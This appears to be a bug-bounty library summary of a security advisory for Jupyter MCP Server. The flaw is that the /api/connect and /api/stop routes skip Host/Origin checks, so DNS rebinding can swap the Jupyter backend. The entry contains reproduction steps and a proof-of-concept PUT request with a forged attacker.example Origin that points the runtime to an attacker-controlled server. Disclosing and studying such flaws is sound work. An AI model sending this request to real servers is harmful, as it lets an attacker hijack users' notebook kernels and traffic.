# Jupyter MCP Server: Browser DNS rebinding can hijack the Jupyter backend through management routes

Jupyter MCP Server's custom /api/connect and /api/stop routes skip the Host/Origin checks enforced on /mcp, letting DNS rebinding swap the Jupyter backend to attacker infrastructure.

- Payout: Research
- Severity: critical
- Program: Jupyter MCP Server
- Found by: avishaigonen-pluto, yotampe-pluto
- Disclosed: 2026-11-20
- CVE: CVE-2026-77359
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-9x8x-crjq-g64h
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-9x8x-crjq-g64h
- Tags: area:ai domain:ai domain:web impact:integrity impact:internal-access kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:csrf vuln:misconfiguration

**Target:** streamable-http MCP server custom management routes (/api/connect, /api/stop)
**Root cause:** Host/Origin validation is applied only to the /mcp endpoint, not to custom routes mounted on the same app; /api/connect accepts browser-shaped requests and mutates global backend config without auth.
**Steps:**
1. Run affected version with `MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server --transport streamable-http --start-new-runtime false --jupyterlab false --mcp-token SCAN_MCP_TOKEN --port 8083`.
2. Confirm `/mcp` rejects forged headers: `POST /mcp` with `Host: attacker.example:8083`, `Origin: http://attacker.example:8083` returns `HTTP 421 Invalid Host header`.
3. Send same browser-origin shape to `PUT /api/connect` with body `{"provider":"jupyter","runtime_url":"http://127.0.0.1:9183","runtime_token":"ATTACKER_TOKEN_REBIND","document_url":"http://127.0.0.1:9183","document_id":"demo.ipynb","document_token":"ATTACKER_TOKEN_REBIND"}`.
4. Observe `200 OK {"success":true}` and server log 'Starting the kernel client...' — backend replaced.
5. Attacker backend on 127.0.0.1:9183 receives `POST /api/kernels` and WebSocket channel traffic with the attacker token.
**How found:** Noticed /mcp enforces Host/Origin (421 on forged headers) but custom routes mounted on the same app do not; tested the same browser-shaped request against /api/connect and saw it accepted.
**Exploitation:** Attacker page uses DNS rebinding so its hostname resolves to 127.0.0.1/LAN/VPN/Docker-published MCP listener while keeping attacker origin; browser sends PUT /api/connect to swap runtime_url/document_url to attacker-controlled Jupyter, then MCP server initiates Jupyter API and WebSocket traffic to attacker infra; /api/stop can kill the current kernel.
**Escalation:** Rebinding reaches local/LAN/VPN/Docker-published listeners; combined /api/stop and /api/connect gives control over kernel lifecycle and backend traffic.
**Insight:** When a framework adds origin protection to its primary protocol endpoint, audit every custom_route/mounted handler on the same app — security middleware is often wired per-endpoint, leaving state-changing side routes unprotected.

## Proof of concept (copied exactly from the original report)

**PUT /api/connect with forged browser Origin**

```
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
  "provider": "jupyter",
  "runtime_url": "http://127.0.0.1:9183",
  "runtime_id": "",
  "runtime_token": "ATTACKER_TOKEN_REBIND",
  "document_url": "http://127.0.0.1:9183",
  "document_id": "demo.ipynb",
  "document_token": "ATTACKER_TOKEN_REBIND"
}
```

**POST /mcp rejected with 421**

```
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```

